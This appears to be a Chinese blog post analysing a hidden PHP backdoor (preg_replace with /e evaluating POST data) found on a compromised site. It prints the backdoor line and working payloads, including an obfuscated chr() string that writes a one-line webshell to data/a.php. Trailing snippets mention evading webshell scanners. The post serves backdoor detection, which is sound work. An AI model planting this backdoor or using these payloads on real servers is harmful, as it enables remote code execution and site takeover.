事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。
哈哈,遇到小黑蛮细心的。
然后通过分析发现,小黑的访问的文件发现代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。
举例:
echo preg_replace("/test/e",$_GET["h"],"jutst test");
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行)。
如果我们要POST的话,我们测试提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr (110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr (112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr (104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr (83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:
fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
这个就恐怖了吧。。。。
再来一个有难度的例子:
查看代码打印?
<? function test($str){ } echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]); ?>
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:
echo "{${phpinfo()}}"; phpinfo会被成功执行了。
所以,各位查找后门的时候注意查找下。
OK,说了那么多,也了解了,以上我给的代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊
相关推荐
6. 文件名分析:在安全分析中,检查压缩包内的文件名可能是发现php马的一个线索,因为攻击者可能会使用特殊字符、随机字符串或者伪装成正常文件的名称来混淆视听。 7. 反恶意软件工具:使用可靠的反病毒或反恶意...
在这之中,PHP木马加密器成为了众多网络安全威胁中的一个关键环节。这种工具主要用于对恶意的PHP代码进行加密处理,从而使得恶意代码更难以被安全检测系统发现,增加了防护和分析的难度。本文将深入探讨PHP木马加密...
一旦一个PHP马被上传并解析到服务器上,攻击者就可以通过访问特定的URL或者发送特定的POST数据来激活这个后门,进而对服务器进行任意操作,如读取、修改、删除文件,执行系统命令,甚至植入其他恶意软件。...
本文将探讨7款主流的PHP Webshell检测工具(如网站安全狗、D盾、深信服WebShellKillerTool等)的绕过策略,旨在构造出一个零提示、无警告且无法被检测到的一句话木马。 0x01 Webshell后门分类 1. 单/少功能木马:...
1. **PHP后门结构**:通常包含一个或多个PHP函数,用于接收远程指令并执行相应的系统操作。 2. **编码与混淆**:为了躲避检测,开发者可能使用各种编码技术(如Base64编码)和混淆方法来隐藏恶意代码的真实意图。 3....
有些网站是utf8版的 要用utf8.php那个马编辑 gb2312 gbk的网站要用gbk.php那个马编辑 这样就不会出现修改文件的时候出现中文乱码 1、超强的cookie功能。 2、加强文件管理功能,增加批量删除文件。增加 新的文件...
本话题将深入探讨一个具体的PHP木马实例,该木马采用了Base64编码和压缩技术来增加其隐蔽性。尽管采取了保密措施,但PHP代码在执行时必须被解析为源代码,这为我们提供了分析和解码的可能性。 首先,木马的编码和...
【标题】"专用提权网马 你能更轻松的控制对方网站",这个标题涉及到的是网络安全领域中的一个敏感话题——提权(Privilege Escalation)和恶意代码植入。提权是指攻击者通过利用系统或应用程序的漏洞,从低权限账户...
网站安全是互联网时代不可忽视的重要议题,尤其是对于网站管理员来说,面对木马和恶意代码的威胁,必须有相应的防范和应对措施。...对于任何遭遇或预防网站被黑的个人和企业,这都是一个值得信赖的工具。
因此,选择这些相对隐蔽的工具可以提高木马的生存能力。 其次,加壳技术是一种通过对木马进行加密或变形来混淆其特征的方法,使其难以被杀毒软件通过关键词匹配识别。这包括对 ASP 和 PHP 木马的加密。对于 ASP ...
具体操作方法是,在服务管理器中更改Apache服务的登录账户,设置为一个低权限的用户,从而降低潜在的攻击损害。 7. 文件操作函数的禁用 除了执行外部命令的函数,PHP中还有很多用于文件操作的函数,例如fopen、...
这里的`Φ`是Unicode编码中的一个字符,可以通过特定的组合转换为其他字符。通过这样的方式,攻击者可以构建出不易被发现的payload。 2. 缩短: 传统的做法是为每个字符分配一个单独的Unicode编码,但这样会增加...
该请求将执行命令'echo 我是马儿>>D:\web\90sec.php',在服务器上的D:\web目录创建或覆盖一个名为90sec.php的文件,内容为"我是马儿"。 在代码解析中提到,攻击者利用了一个常见的视觉盲点,即使用了一个位于Esc键...
在这个文件中,我们主要了解到如何使用PHP编写一个批量查询并清除网站中的"一句话后门"的脚本。一句话后门是一种常见的网页木马攻击方式,攻击者通过在网页代码中插入一段简短的恶意代码来获取网站的控制权。因其...
【制作WEBSHELL高级后门附带工具】这个主题涉及到的是网络安全领域中的恶意代码制作,特别是针对ASP(Active Server Pages)环境的Webshell后门。Webshell是一种黑客植入目标服务器的脚本,用于远程控制和窃取数据。...
在Web安全领域WebShell的构造与查杀是永不停息的话题,这几天发现了一种新型方式生成WebShell,隐蔽度高,目前安全查杀软件没法检测到相关的后门漏洞,不同于 eval 或则 asset 等方式运行后门,对于这两个函数禁用的...
【暗组专用版】是一个专为特定用户群体——暗组设计的软件版本,通常这类软件在功能、安全性或隐私保护方面具有特殊定制的特性。在这个案例中,提及的"专用版"可能意味着它包含了针对暗组成员的独特功能或优化,以...